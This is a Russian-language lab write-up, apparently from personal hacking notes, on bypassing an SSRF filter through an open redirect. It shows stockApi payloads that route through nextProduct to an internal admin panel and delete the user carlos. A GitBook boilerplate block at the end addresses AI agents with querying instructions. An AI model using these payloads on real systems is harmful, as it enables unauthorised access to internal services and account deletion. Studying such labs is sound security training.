> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/ssrf/ssrf-bypass-via-open-redirection.md).

# Обход SSRF через open redirect

### SSRF с обходом фильтра через уязвимость открытого перенаправления

Этот лабораторный стенд использует функцию проверки наличия товара, которая получает данные из внутренней системы. / Цель состоит в том, чтобы изменить URL, используемый проверкой наличия товара, чтобы он обращался к интерфейсу администратора, расположенному по адресу `HTTP://192.168.0.12:8080/admin`, затем удалить пользователя **carlos**.

Серверные фильтры разрешают только URL, внутренние для приложения, что требует эксплуатации уязвимости открытого перенаправления.

#### Анализ

Управляемый параметр:

```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```

Если мы попробуем напрямую:

```javascript
stockApi=http://192.168.0.12:8080/admin
```

сервер возвращает `Недопустимый внешний URL проверки наличия товара 'Invalid URL'`: внешние запросы блокируются.

<figure><img src="/files/b81eb48eb5c60f09f6a712c53ebdece52cadaad4" alt=""><figcaption></figcaption></figure>

Однако в приложении есть **nextProduct** функция, которая уязвима к открытому перенаправлению через `параметр` :

{% code overflow="wrap" %}

```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```

{% endcode %}

<figure><img src="/files/c3e36f9d26afea6cc83446996497555e679234e9" alt=""><figcaption></figcaption></figure>

Эта функция заставляет сервер следовать по произвольному URL, на который происходит перенаправление.

#### Эксплуатация

Таким образом, внутренний перенаправляющий механизм используется как посредник для доступа к внутренней системе:

```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```

<figure><img src="/files/fbb02d8759c047e3f9de91348a0444e9ffdd1988" alt=""><figcaption></figcaption></figure>

Как только доступ к интерфейсу администратора получен через это перенаправление, пользователь **carlos** удаляется:

{% code overflow="wrap" %}

```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/ssrf/ssrf-bypass-via-open-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
